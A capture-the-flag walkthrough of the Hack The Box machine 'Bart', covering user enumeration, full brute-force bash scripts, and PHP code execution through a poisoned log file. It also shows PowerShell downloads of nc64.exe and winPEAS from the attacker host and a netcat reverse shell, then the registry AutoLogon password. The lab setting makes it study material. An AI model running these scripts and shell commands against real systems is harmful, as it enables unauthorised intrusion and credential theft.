Bart
Contents
Port scan
u505@naos:~/HTB/Machines/Bart$ sudo masscan -e tun0 -p1-65535,U:1-65535 --rate 1000 10.10.10.81
Starting masscan 1.0.5 at 2021-01-19 14:08:54 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 80/tcp on 10.10.10.81
u505@naos:~/HTB/Machines/Bart$ nmap -sC -sV bart Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-19 09:09 EST Nmap scan report for bart (10.10.10.81) Host is up (0.042s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to http://forum.bart.htb/ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.57 seconds
Web bart.htb redirection to forum.bart.htb
The web page redirects to forum.bart.htb.
u505@naos:~/HTB/Machines/Bart$ curl -v http://bart.htb
* Trying 10.10.10.81:80...
* Connected to bart.htb (10.10.10.81) port 80 (#0)
> GET / HTTP/1.1
> Host: bart.htb
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Content-Type: text/html; charset=UTF-8
< Location: http://forum.bart.htb/
< Server: Microsoft-IIS/10.0
< X-Powered-By: PHP/7.1.7
< Date: Tue, 19 Jan 2021 14:19:35 GMT
< Content-Length: 0
<
* Connection #0 to host bart.htb left intact
Forum.bart.htb
The web page seems to be a word press.
But the admin page s not available.
We find some user names.
In the source code there is commented user.
We create a list of user, for the future.
u505@naos:~/HTB/Machines/Bart$ cat users Samantha Brown Daniel Simmons Robert Hilton Daniella Lamborghini Harvey Potter
Dirsearch
Dirsearch doesn't provide much information. The site seemed to be a wordpress, but there are no php files, only static html files.
u505@naos:~/HTB/Machines/Bart$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/common.txt -e "txt,php" -f -t 100 -u http://forum.bart.htb/ /opt/utils/dirsearch/thirdparty/requests/__init__.py:91: RequestsDependencyWarning: urllib3 (1.26.2) or chardet (4.0.0) doesn't match a supported version! warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
_|. _ _ _ _ _ _|_ v0.4.1 (_||| _) (/_(_|| (_| )
Extensions: txt, php | HTTP method: GET | Threads: 100 | Wordlist size: 18441
Error Log: /opt/utils/dirsearch/logs/errors-21-01-19_09-16-15.log
Target: http://forum.bart.htb/
Output File: /opt/utils/dirsearch/reports/forum.bart.htb/_21-01-19_09-16-15.txt
[09:16:15] Starting: [09:17:12] 200 - 35KB - /index.html
Task Completed
bart.htb
The enumeration doesn't give us results.
404 page
When an unknown page is fetched, an image is returned instead of a 404 page. It is the reason why enumeration tools does not work.
u505@naos:~/HTB/Machines/Bart$ curl -v http://bart.htb/u505
* Trying 10.10.10.81:80...
* Connected to bart.htb (10.10.10.81) port 80 (#0)
> GET /u505 HTTP/1.1
> Host: bart.htb
> User-Agent: curl/7.74.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Content-Type: image/jpeg
< Last-Modified: Mon, 02 Oct 2017 13:24:19 GMT
< Accept-Ranges: bytes
< ETag: "8050f5c0813bd31:0"
< Server: Microsoft-IIS/10.0
< Date: Tue, 19 Jan 2021 14:31:26 GMT
< Content-Length: 158607
<
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
* Failure writing output to destination
* Closing connection 0
The image doesn't have any useful information.
u505@naos:~/HTB/Machines/Bart$ curl -v http://bart.htb/u505 -o 404.jpg u505@naos:~/HTB/Machines/Bart$ exiftool 404.jpg ExifTool Version Number : 12.13 File Name : 404.jpg Directory : . File Size : 155 KiB File Modification Date/Time : 2021:01:19 09:23:20-05:00 File Access Date/Time : 2021:01:19 09:23:43-05:00 File Inode Change Date/Time : 2021:01:19 09:23:20-05:00 File Permissions : rw-r--r-- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Exif Byte Order : Little-endian (Intel, II) Quality : 72% XMP Toolkit : Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20 Document ID : xmp.did:12C83FF38F2A11E7B24FCB6DD55B25F4 Instance ID : xmp.iid:12C83FF28F2A11E7B24FCB6DD55B25F4 Creator Tool : Adobe Photoshop CC 2015 Macintosh Derived From Instance ID : B15F9617F251E03697C75DBCC1CC37D2 Derived From Document ID : B15F9617F251E03697C75DBCC1CC37D2 DCT Encode Version : 100 APP14 Flags 0 : [14], Encoded with Blend=1 downsampling APP14 Flags 1 : (none) Color Transform : YCbCr Image Width : 1200 Image Height : 712 Encoding Process : Progressive DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1) Image Size : 1200x712 Megapixels : 0.854
Brute force enumeration
If we launch wfuzz, all pages respond with the image.
u505@naos:~/HTB/Machines/Bart$ wfuzz -c -w /usr/share/wordlists/dirb/common.txt http://bart.htb/FUZZ /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://bart.htb/FUZZ Total requests: 4614
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000001: 302 0 L 0 W 0 Ch "http://bart.htb/" 000000003: 200 630 L 5628 W 150693 Ch ".bashrc" 000000007: 200 630 L 5628 W 150693 Ch ".cvsignore" 000000015: 200 630 L 5628 W 150693 Ch ".listings" 000000031: 200 630 L 5628 W 150693 Ch "_admin" 000000050: 200 630 L 5628 W 150693 Ch "_dummy" 000000049: 200 630 L 5628 W 150693 Ch "_dev" 000000048: 200 630 L 5628 W 150693 Ch "_derived" 000000047: 200 630 L 5628 W 150693 Ch "_db_backups" 000000046: 200 630 L 5628 W 150693 Ch "_database" 000000045: 200 630 L 5628 W 150693 Ch "_data" 000000044: 200 630 L 5628 W 150693 Ch "_css" 000000041: 200 630 L 5628 W 150693 Ch "_common" 000000035: 200 630 L 5628 W 150693 Ch "_backup" ^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...
Total time: 0 Processed Requests: 14 Filtered Requests: 0 Requests/sec.: 0
We hide results with the image.
u505@naos:~/HTB/Machines/Bart$ wfuzz -c --hh 150693 -w /usr/share/wordlists/dirb/common.txt http://bart.htb/FUZZ /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://bart.htb/FUZZ Total requests: 4614
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000001: 302 0 L 0 W 0 Ch "http://bart.htb/" 000001676: 301 1 L 10 W 145 Ch "forum" 000002021: 302 0 L 0 W 0 Ch "index.php" 000002571: 301 1 L 10 W 147 Ch "monitor"
Total time: 0 Processed Requests: 4614 Filtered Requests: 4610 Requests/sec.: 0
Wfuzz finds the forum redirection and a new one monitor.
Folder monitor
u505@naos:~/HTB/Machines/Bart$ curl -v http://bart.htb/monitor * Trying 10.10.10.81:80... * Connected to bart.htb (10.10.10.81) port 80 (#0) > GET /monitor HTTP/1.1 > Host: bart.htb > User-Agent: curl/7.74.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 301 Moved Permanently < Content-Type: text/html; charset=UTF-8 < Location: http://bart.htb/monitor/ < Server: Microsoft-IIS/10.0 < Date: Tue, 19 Jan 2021 14:38:45 GMT < Content-Length: 147 < <head><title>Document Moved</title></head> * Connection #0 to host bart.htb left intact <body><h1>Object Moved</h1>This document may be found <a HREF="http://bart.htb/monitor/">here</a></body>
Enumerate users in monitor
The Forgot password allows us to detect if a user doesn't exist.
The web site has a cross site protection reference associated with a cookie.
To test users we need first to load the csrf token and the cookie.
User list generation
This is the user list enumerated in the forum web page.
u505@naos:~/HTB/Machines/Bart$ cat users Samantha Brown Daniel Simmons Robert Hilton Daniella Lamborghini Harvey Potter
This awk manipulates users names in common user logins.
u505@naos:~/HTB/Machines/Bart$ cat usercreation.awk { first=tolower($1) last=tolower($2) print first print last print first""last print first"."last print substr(first,1,1)"."last print substr(first,1,1)last print last"."substr(first,1,1) print last""substr(first,1,1) }
We generate a list of users.
u505@naos:~/HTB/Machines/Bart$ awk -f usercreation.awk users > users.list u505@naos:~/HTB/Machines/Bart$ cat users.list samantha brown samanthabrown samantha.brown s.brown sbrown ... h.potter hpotter potter.h potterh
Find valid users
This script first gets the csrf token and the cookie name, and launch the forgot password query, and grep the result.
u505@naos:~/HTB/Machines/Bart$ cat testuser.sh cat users.list | while read user do echo --------------------------- curl -s -i http://bart.htb/monitor/?action=forgot -o /tmp/curl.txt csrf=`cat /tmp/curl.txt | grep "csrf" | cut -d '=' -f 4 | cut -c 2-65` #echo $csrf phpsess=`cat /tmp/curl.txt | grep PHPSESSID | cut -d '=' -f 2 | cut -d ';' -f 1 ` #echo $phpsess echo $user databinary="csrf=${csrf}&user_name=${user}" #echo $databinary curl -i -s -k -X 'POST' -H 'Host: bart.htb' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://bart.htb' -H 'Connection: close' -H 'Referer: http://bart.htb/monitor/?action=forgot' -H 'Upgrade-Insecure-Requests: 1' -b "PHPSESSID=${phpsess}" --data-binary $databinary 'http://bart.htb/monitor/?action=forgot' | grep username done rm /tmp/curl.txt
The execution doesn't find the sentence The provided username could not be found. for users daniel and harvey.
u505@naos:~/HTB/Machines/Bart$ sh testuser.sh --------------------------- samantha <p>The provided username could not be found.</p> --------------------------- brown <p>The provided username could not be found.</p> --------------------------- samanthabrown <p>The provided username could not be found.</p> --------------------------- ... --------------------------- browns <p>The provided username could not be found.</p> --------------------------- daniel --------------------------- simmons <p>The provided username could not be found.</p> --------------------------- danielsimmons <p>The provided username could not be found.</p> --------------------------- ... --------------------------- lamborghinid <p>The provided username could not be found.</p> --------------------------- harvey --------------------------- potter <p>The provided username could not be found.</p> --------------------------- harveypotter <p>The provided username could not be found.</p> --------------------------- harvey.potter <p>The provided username could not be found.</p> --------------------------- h.potter <p>The provided username could not be found.</p> --------------------------- hpotter <p>The provided username could not be found.</p> --------------------------- potter.h <p>The provided username could not be found.</p> --------------------------- potterh <p>The provided username could not be found.</p>
We confirm it manually.
Brute force password
An incorrect password returns the text The information is incorrect
The following script test a user and password. As before the fisrt step is to catch the csfr and cookie value, and after send the post. The script check the sentence, if the sentence do not appears it save the credentials in a file.
u505@naos:~/HTB/Machines/Bart$ cat testpassword.sh #PROXYBURP="-x http://127.0.0.1:8080"
curl $PROXYBURP -s -i http://bart.htb/monitor/ -o /tmp/curl$$.txt csrf=`cat /tmp/curl$$.txt | grep "csrf" | cut -d '=' -f 4 | cut -c 2-65` #echo $csrf phpsess=`cat /tmp/curl$$.txt | grep PHPSESSID | cut -d '=' -f 2 | cut -d ';' -f 1 ` #echo $phpsess databinary="csrf=${csrf}&user_name=${1}&user_password=${2}&action=login" #echo $databinary resp=`curl $PROXYBURP -s -k -X 'POST' -H 'Host: bart.htb' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://bart.htb' -b "PHPSESSID=${phpsess}" --data-binary $databinary 'http://bart.htb/monitor/' | grep "The information is incorrect"` rm /tmp/curl$$.txt if [ ! `echo $resp | wc -c` -eq 37 ] ; then echo "$1 $2" >> userpassword.found echo $databinary >> userpassword.found fi
The second script reads password from the file rockyou-50.txt (9437 entries) and tests passwords for each user in background. To avoid to overwhelm the server, 100 passwords are tested at a once. When all processes finished (when temp files are deleted), the script launch another round of passwords.
u505@naos:~/HTB/Machines/Bart$ cat launchparal.sh num=0 num2=0 touch /tmp/curlu505.txt cat /usr/share/seclists/Passwords/Leaked-Databases/rockyou-50.txt | while read pass do nohup sh testpassword.sh daniel ${pass} 2>/dev/null & nohup sh testpassword.sh harvey ${pass} 2>/dev/null & num=`expr $num + 1` num2=`expr $num2 + 1` if [ $num -eq 100 ] ; then echo "Number of pass $num2" sleep 3 while [ `ls /tmp/curl* | wc -l` -gt 1 ] do sleep 1 done num=0 fi done rm /tmp/curlu505.txt
Here the execution.
u505@naos:~/HTB/Machines/Bart$ sh launchparal.sh Number of pass 100 ls: cannot access '/tmp/curl88442.txt': No such file or directory ls: cannot access '/tmp/curl88455.txt': No such file or directory Number of pass 200 Number of pass 300 Number of pass 400 Number of pass 500 ls: cannot access '/tmp/curl108715.txt': No such file or directory Number of pass 600 ls: cannot access '/tmp/curl114244.txt': No such file or directory Number of pass 700 ls: cannot access '/tmp/curl119561.txt': No such file or directory Number of pass 800 ls: cannot access '/tmp/curl124925.txt': No such file or directory Number of pass 900 Number of pass 1000 Number of pass 1100 Number of pass 1200 Number of pass 1300 Number of pass 1400 Number of pass 1500 Number of pass 1600 ls: cannot access '/tmp/curl166188.txt': No such file or directory Number of pass 1700 ls: cannot access '/tmp/curl171315.txt': No such file or directory Number of pass 1800 ls: cannot access '/tmp/curl176337.txt': No such file or directory ls: cannot access '/tmp/curl176384.txt': No such file or directory ^C u505@naos:~/HTB/Machines/Bart$ rm /tmp/curlu505.txt
After a few minutes, the file userpassword.found was written with the credentials.
u505@naos:~/HTB/Machines/Bart$ cat userpassword.found
harvey potter
csrf=b071cc136765e664451db0e468973424668e52989444d429d8c3c47a3f673a8c&user_name=harvey&user_password=potter&action=login
The password was the last name of the user,...
Monitor enumeration
The server monitoring application discloses another URL that we did not find before.
internal-01.bart.htb
The URL shows us a chat application simple_chat.
A first login test discloses the HTTP request.
The password need to be at least 8 characters.
Enumeration of the web site
u505@naos:~/HTB/Machines/Bart$ python3 /opt/utils/dirsearch/dirsearch.py -w /usr/share/wordlists/dirb/common.txt -e "txt,php" -f -t 100 -u http://internal-01.bart.htb/simple_chat/ /opt/utils/dirsearch/thirdparty/requests/__init__.py:91: RequestsDependencyWarning: urllib3 (1.26.2) or chardet (4.0.0) doesn't match a supported version! warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
_|. _ _ _ _ _ _|_ v0.4.1 (_||| _) (/_(_|| (_| )
Extensions: txt, php | HTTP method: GET | Threads: 100 | Wordlist size: 18441
Error Log: /opt/utils/dirsearch/logs/errors-21-01-19_18-30-48.log
Target: http://internal-01.bart.htb/simple_chat/
Output File: /opt/utils/dirsearch/reports/internal-01.bart.htb/simple_chat_21-01-19_18-30-48.txt
[18:30:48] Starting: [18:31:00] 302 - 4B - /simple_chat/chat.php -> simple_chat/login_form.php [18:31:03] 301 - 167B - /simple_chat/css -> http://internal-01.bart.htb/simple_chat/css/ [18:31:14] 301 - 172B - /simple_chat/includes -> http://internal-01.bart.htb/simple_chat/includes/ [18:31:14] 302 - 0B - /simple_chat/index.php -> ../ [18:31:14] 302 - 0B - /simple_chat/Index.php -> ../ [18:31:14] 302 - 0B - /simple_chat/index.php/ -> ../ [18:31:16] 301 - 166B - /simple_chat/js -> http://internal-01.bart.htb/simple_chat/js/ [18:31:19] 302 - 0B - /simple_chat/login.php -> login_form.php [18:31:19] 302 - 0B - /simple_chat/Login.php -> login_form.php [18:31:19] 302 - 0B - /simple_chat/logout.php -> ../ [18:31:20] 301 - 169B - /simple_chat/media -> http://internal-01.bart.htb/simple_chat/media/ [18:31:20] 301 - 169B - /simple_chat/Media -> http://internal-01.bart.htb/simple_chat/Media/ [18:31:32] 302 - 0B - /simple_chat/register.php -> register_form.php
Task Completed
Register a user
Instead of using brute force user and password, a better way could be to register a new user. The web enumeration discloses a register file. Unfortunately it doesn't seem to work.
The source code is available on github.
u505@naos:~/HTB/Machines/Bart$ git --git-dir=/dev/null clone --depth=1 https://github.com/magkopian/php-ajax-simple-chat.git Cloning into 'php-ajax-simple-chat'... remote: Enumerating objects: 44, done. remote: Counting objects: 100% (44/44), done. remote: Compressing objects: 100% (40/40), done. remote: Total 44 (delta 5), reused 26 (delta 1), pack-reused 0 Receiving objects: 100% (44/44), 29.25 KiB | 1.27 MiB/s, done. Resolving deltas: 100% (5/5), done. u505@naos:~/HTB/Machines/Bart$ cd php-ajax-simple-chat/ u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat$ rm -fr .git
If we take a look at the register.php file,
u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ cat register.php <?php /**********************************************\ * Copyright (c) 2013 Manolis Agkopian * * See the file LICENCE for copying permission. * \**********************************************/
session_start(); define('INCLUDED',true); require 'includes/core_func.php'; require 'includes/validation_func.php';
if (user_logged_in()) { header('Location: ../'); die(); }
$errors = array();
//check if username is provided if (!isset($_POST['uname']) || empty($_POST['uname'])) { $errors['uname'] = 'The Username is required'; } else { //validate username if (($uname = validate_username($_POST['uname'])) === false) { $errors['uname'] = 'The Username is invalid'; } }
//check if password is provided if (!isset($_POST['passwd']) || empty($_POST['passwd'])) { $errors['passwd'] = 'The Password is required'; } else { //validate password
if (($passwd = validate_password($_POST['passwd'])) === false) { $errors['passwd'] = 'The Password must be at least 8 characters'; } }
//check if recaptcha is provided if (!isset($_POST['recaptcha_challenge_field']) || empty($_POST['recaptcha_challenge_field']) || !isset($_POST['recaptcha_response_field']) || empty($_POST['recaptcha_response_field'])) { $errors['recaptcha'] = 'The reCAPTCHA is required'; } else { //validate recaptcha if (validate_recaptcha($_POST['recaptcha_challenge_field'], $_POST['recaptcha_response_field']) === false) { $errors['recaptcha'] = 'The reCAPTCHA wasn\'t entered correctly.'; } }
//check for form field errors if (!empty($errors)) { //if there are any errors $_SESSION['reg_errors'] = $errors; //set a session variable to pass them to the registration form page } else { //if no errors try to register if (($res = register($uname, $passwd)) === false) { //if database error $errors['uname'] = 'An error has been occurred'; //we want it to appear above username field $_SESSION['reg_errors'] = $errors; //set a session variable to pass them to the registration form page } else if ($res === -1) { //if user already exists $errors['uname'] = 'Username already exists'; //we want it to appear above username field $_SESSION['reg_errors'] = $errors; //set a session variable to pass them to the registration form page } else { if (get_last_page() !== false) { header('Location: login_form.php?ref=reg'); //after sucessful register goto the login page die(); } else { header('Location: ../'); //you can replace this redirect with one to the chat page of your site if you want die(); } } }
//else redirect to the registration form of the site header('Location: register_form.php'); //you can replace this redirect with one to the chat page of your site die(); ?>
The code gets uname and passwd parameters as a POST, validate the user and password before register the user. If no data are poster it redirects to register_form.
u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -r validate_username
includes/validation_func.php:function validate_username ($uname) {
register.php: if (($uname = validate_username($_POST['uname'])) === false) {
login.php: if (($uname = validate_username(mb_strtolower($_POST['uname'], 'UTF-8'))) === false) { //we want the login to be case insensitive
The password needs at least a letter.
u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -A 6 validate_username includes/validation_func.php
function validate_username ($uname) {
$uname = trim($uname); //ignore white-space on start or the end of the username
$regex = '/^([\p{Greek}a-zA-Z0-9]*[\p{Greek}a-zA-Z][\p{Greek}a-zA-Z0-9]*)$/'; //allow usernames that use letters (Latin or Greek) and or digits but have at least one letter inside
if (validate_len($uname, 20, 3) === false || preg_match($regex, $uname) === 0) {
return false;
}
return $uname; //on success return the trimmed username
u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -r validate_password ../ ../README.md:If you use the included login-register system you have to sign up for a Google's <a href="http://www.google.com/recaptcha/whyrecaptcha" target="_blank">reCAPTCHA</a> account in order to get an API key for the reCAPTCHA service and use it. After you get the API key modify the line `$privatekey = 'xxxxxxxxxxxxxxxxxxxx';` inside the function **validate_recaptcha** inside the file **validation_func.php** and the line `$publickey = 'xxxxxxxxxxxxxxxxxxxx'.'&hl=en';` inside the function **do_html_register_form** inside the file **markup_func.php**. If you don't want the reCAPTCHA at all, just remove the reCAPTCHA validation check inside the **register.php** script and modify the function **do_html_register_form** inside the **markup_func.php** file so it wont appear in the login form. Lastly for security reasons before you register any user, replace the salt string inside the **validate_password** function in the **validation_func.php** file. ../simple_chat/includes/validation_func.php:function validate_password ($passwd) { ../simple_chat/register.php: if (($passwd = validate_password($_POST['passwd'])) === false) { ../simple_chat/login.php: if (($passwd = validate_password($_POST['passwd'])) === false) {
The password needs to be at least 8 characters, and the password is hashed and salted.
u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -A 10 validate_password ../simple_chat/includes/validation_func.php function validate_password ($passwd) { $passwd = trim($passwd); //ignore white-space on start or the end of the password if (validate_len($passwd, 'inf', 8) === false) { return false; }
$salt = '8h@tr-waswe_aT#9TaCHuPhU'; //for security reasons please replace this string with your own random string (before attempt to register any user) return hash('sha256', $passwd.$salt); //return sha256 hash of the salted password return $passwd; }
u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -r "function register" * includes/core_func.php:function register($uname, $passwd) {
The function register insert the user and password hash in database, if the username does not exist.
u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ grep -A 48 "function register" includes/core_func.php function register($uname, $passwd) { require 'includes/dbconnect.php';
//connect to the database $con = db_connect(); if ($con === false) { return false; }
//escape username strings $uname = mysqli_real_escape_string($con, $uname);
//check if username exists
//query the database $query = "SELECT `uid` FROM `user` WHERE LOWER(`uname`) = LOWER('$uname')";
$res = mysqli_query($con, $query);
if ($res === false) { mysqli_close($con); return false; } else if (mysqli_affected_rows($con) == 1) { //then the user exist mysqli_close($con); return -1; }
//if username is available then register the user
//query the database $query = "INSERT INTO `user` (`uname`, `passwd`) VALUES('$uname', '$passwd')";
$res = mysqli_query($con, $query);
if ($res === false) { mysqli_close($con); return false; } else if (mysqli_affected_rows($con) != 1) { mysqli_close($con); return false; } else { mysqli_close($con); return true; } }
We post with the user and password to create our user.
u505@naos:~/HTB/Machines/Bart/php-ajax-simple-chat/simple_chat$ curl -v -d 'uname=u505&passwd=Passwordu505u505' http://internal-01.bart.htb/simple_chat/register.php * Trying 10.10.10.81:80... * Connected to internal-01.bart.htb (10.10.10.81) port 80 (#0) > POST /simple_chat/register.php HTTP/1.1 > Host: internal-01.bart.htb > User-Agent: curl/7.74.0 > Accept: */* > Content-Length: 34 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 34 out of 34 bytes * Mark bundle as not supporting multiuse < HTTP/1.1 302 Found < Cache-Control: no-store, no-cache, must-revalidate < Pragma: no-cache < Content-Type: text/html; charset=UTF-8 < Expires: Thu, 19 Nov 1981 08:52:00 GMT < Location: ../ < Server: Microsoft-IIS/10.0 < X-Powered-By: PHP/7.1.7 < Set-Cookie: PHPSESSID=aav1r36svbkn4fo6ll8rr7eqmc; path=/ < Date: Wed, 20 Jan 2021 00:32:57 GMT < Content-Length: 0 < * Connection #0 to host internal-01.bart.htb left intact
And we are in.
Log button
Pushing the log button opens a dialog.
The source code of the page shows a GET request.
Each time the log button is pushed, the time stamp, the username and the User agent is saved in the file log.txt.
u505@naos:~/HTB/Machines/Bart$ curl http://internal-01.bart.htb/log/log.txt [2018-02-21 22:35:17] - harvey - Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0[2021-01-20 22:34:50] - harvey - Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0[2021-01-20 22:35:10] - harvey - Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Burpsuite intercept the request, and I modified the filename with a file with php extension.
The file was created and filled with the user and the User Agent.
u505@naos:~/HTB/Machines/Bart$ curl http://internal-01.bart.htb/log/u505.php [2021-01-20 22:43:14] - harvey - Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
In a second file I modified the User Agent with a call to the phpinfo() function.
But it did not work as expected.
u505@naos:~/HTB/Machines/Bart$ curl http://internal-01.bart.htb/log/u506.php
The page cannot be displayed because an internal server error has occurred.
And this time, we obtain code execution.
At last, the User agent was modified to call system and executing the cmd argument.
u505@naos:~/HTB/Machines/Bart/web$ curl http://internal-01.bart.htb/log/u508.php?cmd=whoami
[2021-01-20 07:26:29] - harvey - "u505 nt authority\iusr
Obtain a shell
Start a web server with the netcat executable.
u505@naos:~/HTB/Machines/Bart/web$ cp /opt/utils/nc.exe/nc64.exe ./ u505@naos:~/HTB/Machines/Bart/web$ sudo python -m SimpleHTTPServer 80 [sudo] password for u505: Serving HTTP on 0.0.0.0 port 80 ...
Start a listener
u505@naos:~/HTB/Machines/Bart$ rlwrap nc -lnvp 4444 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444
Upload the nc executable.
u505@naos:~/HTB/Machines/Bart$ curl http://internal-01.bart.htb/log/u508.php?cmd=powershell+-c+"Invoke-WebRequest+-Uri+http%3a//10.10.14.9/nc64.exe+-OutFile+nc64.exe" [2021-01-20 06:51:20] - harvey - "u505 "
And finally call nc.
u505@naos:~/HTB/Machines/Bart$ curl http://internal-01.bart.htb/log/u508.php?cmd=nc64.exe+10.10.14.9+4444+-e+cmd
u505@naos:~/HTB/Machines/Bart$ rlwrap nc -lnvp 4444 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.10.10.81. Ncat: Connection from 10.10.10.81:63367. Microsoft Windows [Version 10.0.15063] (c) 2017 Microsoft Corporation. All rights reserved.
C:\inetpub\wwwroot\internal-01\log>whoami whoami nt authority\iusr
Privilege escalation
Enumeration
Copy winPEAS to our web server.
u505@naos:~/HTB/Machines/Bart/web$ cp /opt/utils/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe ./
We download it in the target box.
C:\inetpub\wwwroot\internal-01\log>powershell -c "Invoke-WebRequest -Uri http://10.10.14.9/winPEAS.exe -OutFile winPEAS.exe" powershell -c "Invoke-WebRequest -Uri http://10.10.14.9/winPEAS.exe -OutFile winPEAS.exe"
Execute it in the target.
C:\inetpub\wwwroot\internal-01\log>winPEAS.exe winPEAS.exe ANSI color bit for Windows is not set. If you are execcuting this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD Creating Dynamic lists, this could take a while, please wait... ... [+] Looking for AutoLogon credentials Some AutoLogon credentials were found!! DefaultDomainName : DESKTOP-7I3S68E DefaultUserName : Administrator DefaultPassword : 3130438f31186fbaf962f407711faddb ...
We check the registry key.
C:\inetpub\wwwroot\internal-01\log>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon AutoRestartShell REG_DWORD 0x1 Background REG_SZ 0 0 0 CachedLogonsCount REG_SZ 10 DebugServerCommand REG_SZ no DefaultDomainName REG_SZ DESKTOP-7I3S68E DefaultUserName REG_SZ Administrator DisableBackButton REG_DWORD 0x1 EnableSIHostIntegration REG_DWORD 0x1 ForceUnlockLogon REG_DWORD 0x0 LegalNoticeCaption REG_SZ LegalNoticeText REG_SZ PasswordExpiryWarning REG_DWORD 0x5 PowerdownAfterShutdown REG_SZ 0 PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} ReportBootOk REG_SZ 1 Shell REG_SZ explorer.exe ShellCritical REG_DWORD 0x0 ShellInfrastructure REG_SZ sihost.exe SiHostCritical REG_DWORD 0x0 SiHostReadyTimeOut REG_DWORD 0x0 SiHostRestartCountLimit REG_DWORD 0x0 SiHostRestartTimeGap REG_DWORD 0x0 Userinit REG_SZ C:\Windows\system32\userinit.exe, VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile WinStationsDisabled REG_SZ 0 scremoveoption REG_SZ 0 DisableCAD REG_DWORD 0x1 LastLogOffEndTimePerfCounter REG_QWORD 0xcdbc433 ShutdownFlags REG_DWORD 0x8000022b AutoAdminLogon REG_SZ 1 DisableLockWorkstation REG_DWORD 0x0 EnableFirstLogonAnimation REG_DWORD 0x1 AutoLogonSID REG_SZ S-1-5-21-988671444-1802818203-1364644418-500 LastUsedUsername REG_SZ Administrator DefaultPassword REG_SZ 3130438f31186fbaf962f407711faddb
